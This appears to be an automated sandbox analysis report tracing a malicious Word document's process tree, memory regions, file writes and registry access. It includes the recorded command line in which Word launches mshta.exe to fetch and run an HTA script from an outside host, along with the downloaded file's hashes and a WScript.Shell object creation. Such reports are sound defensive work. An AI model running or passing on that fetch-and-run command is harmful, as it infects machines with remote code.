File Name	c:\windows\microsoft.net\framework64\v2.0.50727\cvtres.exe
Command Line	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\aETAdzjz\AppData\Local\Temp\RESEDB9.tmp" "c:\Users\aETAdzjz\Desktop\CSCED98.tmp"
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:01:02, Reason: Child Process
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:01:34
Remarks	No high level activity detected in monitored regions

OS Process Information

Information	Value
PID	0xbb8
Parent PID	0xba0 (c:\windows\microsoft.net\framework64\v2.0.50727\csc.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x BBC

Region

Name	Start VA	End VA	Type	Permissions	Actions
private_0x0000000000010000	0x00010000	0x0002ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x0002ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000030000	0x00030000	0x0012ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000130000	0x00130000	0x00133fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000140000	0x00140000	0x00140fff	Pagefile Backed Memory	Readable	Region Actions
locale.nls	0x00150000	0x001b6fff	Memory Mapped File	Readable	Region Actions
private_0x00000000001c0000	0x001c0000	0x002bffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000002f0000	0x002f0000	0x003effff	Private Memory	Readable, Writable	Region Actions Download Dump
cvtres.exe	0x00400000	0x0040cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x0000000000410000	0x00410000	0x0050ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000510000	0x00510000	0x0051ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000550000	0x00550000	0x0055ffff	Private Memory	Readable, Writable	Region Actions Download Dump
msvcr80.dll	0x75360000	0x75428fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000007efe0000	0x7efe0000	0x7ffdffff	Private Memory	Readable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions Download Dump
kernelbase.dll	0x7fefd9d0000	0x7fefda3afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcrt.dll	0x7fefdd50000	0x7fefddeefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrt4.dll	0x7fefe640000	0x7fefe76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sechost.dll	0x7feff8c0000	0x7feff8defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
advapi32.dll	0x7feff8e0000	0x7feff9bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apisetschema.dll	0x7feffb20000	0x7feffb20fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
pagefile_0x000007fffffb0000	0x7fffffb0000	0x7fffffd2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x000007fffffd4000	0x7fffffd4000	0x7fffffd4fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffde000	0x7fffffde000	0x7fffffdffff	Private Memory	Readable, Writable	Region Actions Download Dump

Process #4: mshta.exe

(Host: 590, Network: 0)

Information	Value
ID	#4
File Name	c:\windows\system32\mshta.exe
Command Line	"C:\Windows\System32\mshta.exe" http://www.samyrai777m.p-host.in/t/t.php?thread=0
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:01:02, Reason: Child Process
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:01:34

OS Process Information

Information	Value
PID	0xbc0
Parent PID	0x9b0 (c:\program files\microsoft office\root\office16\winword.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x BC4 0x BD8 0x BE0 0x BE4 0x BE8 0x BFC 0x 784 0x 82C 0x 84C 0x 878 0x 308 0x 6B4

Region

Name	Start VA	End VA	Type	Permissions	Actions
private_0x0000000000010000	0x00010000	0x0002ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x00026fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000030000	0x00030000	0x00033fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000040000	0x00040000	0x00040fff	Pagefile Backed Memory	Readable	Region Actions
locale.nls	0x00050000	0x000b6fff	Memory Mapped File	Readable	Region Actions
imm32.dll	0x000c0000	0x000e8fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000000c0000	0x000c0000	0x000c1fff	Pagefile Backed Memory	Readable, Writable	Region Actions
mshta.exe.mui	0x000d0000	0x000d0fff	Memory Mapped File	Readable, Writable	Region Actions
private_0x00000000000e0000	0x000e0000	0x000e0fff	Private Memory	Readable, Writable	Region Actions
private_0x00000000000f0000	0x000f0000	0x000f0fff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000000100000	0x00100000	0x00100fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000110000	0x00110000	0x00110fff	Private Memory	Readable, Writable	Region Actions
rpcss.dll	0x00120000	0x0019cfff	Memory Mapped File	Readable	Region Actions
rpcss.dll	0x00120000	0x0019cfff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000000120000	0x00120000	0x00120fff	Pagefile Backed Memory	Readable, Writable	Region Actions
index.dat	0x00130000	0x0013bfff	Memory Mapped File	Readable, Writable	Region Actions
index.dat	0x00140000	0x00147fff	Memory Mapped File	Readable, Writable	Region Actions
index.dat	0x00150000	0x0015ffff	Memory Mapped File	Readable, Writable	Region Actions
index.dat	0x00160000	0x0019ffff	Memory Mapped File	Readable, Writable	Region Actions
pagefile_0x00000000001a0000	0x001a0000	0x001a0fff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000001b0000	0x001b0000	0x002affff	Private Memory	Readable, Writable	Region Actions
pagefile_0x00000000002b0000	0x002b0000	0x002b0fff	Pagefile Backed Memory	Readable	Region Actions
windowsshell.manifest	0x002c0000	0x002c0fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000002c0000	0x002c0000	0x002c0fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x00000000002d0000	0x002d0000	0x002d1fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000002e0000	0x002e0000	0x002e1fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000002f0000	0x002f0000	0x002f1fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000300000	0x00300000	0x00300fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000300000	0x00300000	0x00300fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000310000	0x00310000	0x0036ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000310000	0x00310000	0x0034ffff	Private Memory	Readable, Writable	Region Actions
oleaccrc.dll	0x00350000	0x00350fff	Memory Mapped File	Readable	Region Actions
private_0x0000000000360000	0x00360000	0x0036ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000000370000	0x00370000	0x0046ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000000470000	0x00470000	0x0056ffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x0000000000570000	0x00570000	0x00570fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000570000	0x00570000	0x00571fff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000005d0000	0x005d0000	0x005dffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x00000000005e0000	0x005e0000	0x006befff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000006d0000	0x006d0000	0x006dffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000006e0000	0x006e0000	0x007dffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x00000000007e0000	0x007e0000	0x00967fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000970000	0x00970000	0x00af0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000b00000	0x00b00000	0x01efffff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000001f00000	0x01f00000	0x01ffffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000001f00000	0x01f00000	0x01f7ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000001ff0000	0x01ff0000	0x01ffffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000020a0000	0x020a0000	0x0219ffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000021a0000	0x021a0000	0x0238ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000021d0000	0x021d0000	0x022cffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002310000	0x02310000	0x0238ffff	Private Memory	Readable, Writable	Region Actions
sortdefault.nls	0x02390000	0x0265efff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000002660000	0x02660000	0x029a2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000029b0000	0x029b0000	0x02bcffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a20000	0x02a20000	0x02b1ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002b50000	0x02b50000	0x02bcffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002bd0000	0x02bd0000	0x02dcffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002c60000	0x02c60000	0x02cdffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002d50000	0x02d50000	0x02dcffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002e70000	0x02e70000	0x02f6ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002f70000	0x02f70000	0x0306ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000003080000	0x03080000	0x0317ffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000031c0000	0x031c0000	0x032bffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000003300000	0x03300000	0x033fffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000003580000	0x03580000	0x0367ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000003690000	0x03690000	0x0378ffff	Private Memory	Readable, Writable	Region Actions
user32.dll	0x775e0000	0x776d9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
normaliz.dll	0x779c0000	0x779c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
psapi.dll	0x779d0000	0x779d6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000007efe0000	0x7efe0000	0x7ffdffff	Private Memory	Readable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions
mshta.exe	0xff9d0000	0xff9dffff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mshtml.dll	0x7fee0880000	0x7fee1117fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleacc.dll	0x7fef22f0000	0x7fef2343fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ieframe.dll	0x7fef2350000	0x7fef2f06fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msimtf.dll	0x7fef3140000	0x7fef314dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rasman.dll	0x7fef3160000	0x7fef317bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rasapi32.dll	0x7fef3180000	0x7fef31e1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
npmproxy.dll	0x7fef3c70000	0x7fef3c7bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rasadhlp.dll	0x7fef46d0000	0x7fef46d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msls31.dll	0x7fef6080000	0x7fef60bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sensapi.dll	0x7fef6630000	0x7fef6638fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
netprofm.dll	0x7fef6660000	0x7fef66d3fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rtutils.dll	0x7fefadc0000	0x7fefadd0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
winrnr.dll	0x7fefaf90000	0x7fefaf9afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
pnrpnsp.dll	0x7fefafa0000	0x7fefafb8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
napinsp.dll	0x7fefafc0000	0x7fefafd4fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dwmapi.dll	0x7fefb180000	0x7fefb197fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
uxtheme.dll	0x7fefb560000	0x7fefb5b5fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dhcpcsvc.dll	0x7fefbc30000	0x7fefbc47fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dhcpcsvc6.dll	0x7fefbc50000	0x7fefbc60fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
fwpuclnt.dll	0x7fefbc80000	0x7fefbcd2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
winnsi.dll	0x7fefbdd0000	0x7fefbddafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
iphlpapi.dll	0x7fefbde0000	0x7fefbe06fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
nlaapi.dll	0x7fefbf70000	0x7fefbf84fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
comctl32.dll	0x7fefc060000	0x7fefc253fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntmarta.dll	0x7fefc740000	0x7fefc76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
version.dll	0x7fefc910000	0x7fefc91bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wshtcpip.dll	0x7fefc9e0000	0x7fefc9e6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rsaenh.dll	0x7fefcd40000	0x7fefcd86fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dnsapi.dll	0x7fefce60000	0x7fefcebafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wship6.dll	0x7fefcfd0000	0x7fefcfd6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mswsock.dll	0x7fefcfe0000	0x7fefd034fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptsp.dll	0x7fefd040000	0x7fefd056fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sspicli.dll	0x7fefd610000	0x7fefd634fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptbase.dll	0x7fefd640000	0x7fefd64efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sxs.dll	0x7fefd650000	0x7fefd6e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrtremote.dll	0x7fefd730000	0x7fefd743fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
profapi.dll	0x7fefd750000	0x7fefd75efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msasn1.dll	0x7fefd7f0000	0x7fefd7fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
crypt32.dll	0x7fefd840000	0x7fefd9a6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernelbase.dll	0x7fefd9d0000	0x7fefda3afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
imm32.dll	0x7fefdb40000	0x7fefdb6dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcrt.dll	0x7fefdd50000	0x7fefddeefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleaut32.dll	0x7fefde70000	0x7fefdf46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
lpk.dll	0x7fefdf50000	0x7fefdf5dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
iertutil.dll	0x7fefdf60000	0x7fefe1b8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ole32.dll	0x7fefe1c0000	0x7fefe3c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
urlmon.dll	0x7fefe3d0000	0x7fefe547fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
clbcatq.dll	0x7fefe550000	0x7fefe5e8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ws2_32.dll	0x7fefe5f0000	0x7fefe63cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrt4.dll	0x7fefe640000	0x7fefe76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shlwapi.dll	0x7fefe770000	0x7fefe7e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wldap32.dll	0x7fefe7f0000	0x7fefe841fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shell32.dll	0x7fefe850000	0x7feff5d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wininet.dll	0x7feff5e0000	0x7feff709fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msctf.dll	0x7feff710000	0x7feff818fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sechost.dll	0x7feff8c0000	0x7feff8defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
advapi32.dll	0x7feff8e0000	0x7feff9bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
nsi.dll	0x7feff9c0000	0x7feff9c7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
gdi32.dll	0x7feff9d0000	0x7feffa36fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
usp10.dll	0x7feffa40000	0x7feffb08fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apisetschema.dll	0x7feffb20000	0x7feffb20fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000007fffffa6000	0x7fffffa6000	0x7fffffa7fff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffa8000	0x7fffffa8000	0x7fffffa9fff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffaa000	0x7fffffaa000	0x7fffffabfff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffac000	0x7fffffac000	0x7fffffadfff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffae000	0x7fffffae000	0x7fffffaffff	Private Memory	Readable, Writable	Region Actions
pagefile_0x000007fffffb0000	0x7fffffb0000	0x7fffffd2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x000007fffffd4000	0x7fffffd4000	0x7fffffd5fff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffd6000	0x7fffffd6000	0x7fffffd7fff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffd8000	0x7fffffd8000	0x7fffffd8fff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffda000	0x7fffffda000	0x7fffffdbfff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffdc000	0x7fffffdc000	0x7fffffddfff	Private Memory	Readable, Writable	Region Actions
private_0x000007fffffde000	0x7fffffde000	0x7fffffdffff	Private Memory	Readable, Writable	Region Actions
For performance reasons, the remaining 23 entries are omitted. The remaining entries can be found in flog.txt.

Modified Files

Filename	File Size	Hash Values	YARA Match	Actions
c:\users\aetadzjz\appdata\local\microsoft\windows\temporary internet files\content.ie5\x9ohk109\t[2].hta	3.24 KB (3313 bytes)	MD5: 13b131d98fea2526196b20496ec68b0a SHA1: 1284d7400f30f5a2c409f3f53fcf34b30c32268d SHA256: ae09b5dc38c85387a861cb4aee8b08ef6c7b216f21ba1bd06c9d1b3adab46a75		File Actions Show Properties Download

Host Behavior

COM (5)

Operation	Class	Interface	Additional Information	Count	Logfile
Create	3050F5C8-98B5-11CF-BB82-00AA00BDCE0B	00000000-0000-0000-C000-000000000046	cls_context = CLSCTX_INPROC_SERVER	1	Fn
Create	50D5107A-D278-4871-8989-F4CEAAF59CFC	08C0E040-62D1-11D1-9326-0060B067B86E	cls_context = CLSCTX_INPROC_SERVER, CLSCTX_NO_CODE_DOWNLOAD	1	Fn
Create	B54F3741-5B07-11CF-A4B0-00AA004A55E8	BB1A2AE1-A4F9-11CF-8F20-00805F2CD064	cls_context = CLSCTX_INPROC_SERVER	1	Fn
Create	6C736DB1-BD94-11D0-8A23-00AA00B58E10	6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8	cls_context = CLSCTX_INPROC_SERVER	1	Fn
Create	WsCriPt.SHeLl	IClassFactory	cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER	1	Fn

File (4)

Operation	Filename	Additional Information	Count	Logfile
Open	STD_INPUT_HANDLE	-	1	Fn
Open	STD_OUTPUT_HANDLE	-	1	Fn
Open	STD_ERROR_HANDLE	-	1	Fn
Open Mapping	#MSHTML#PERF#00000BC0	desired_access = FILE_MAP_WRITE	1	Fn

Registry (99)

Operation	Key	Additional Information	Count	Logfile
Open Key	HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	8	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	8	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454	-	1	Fn
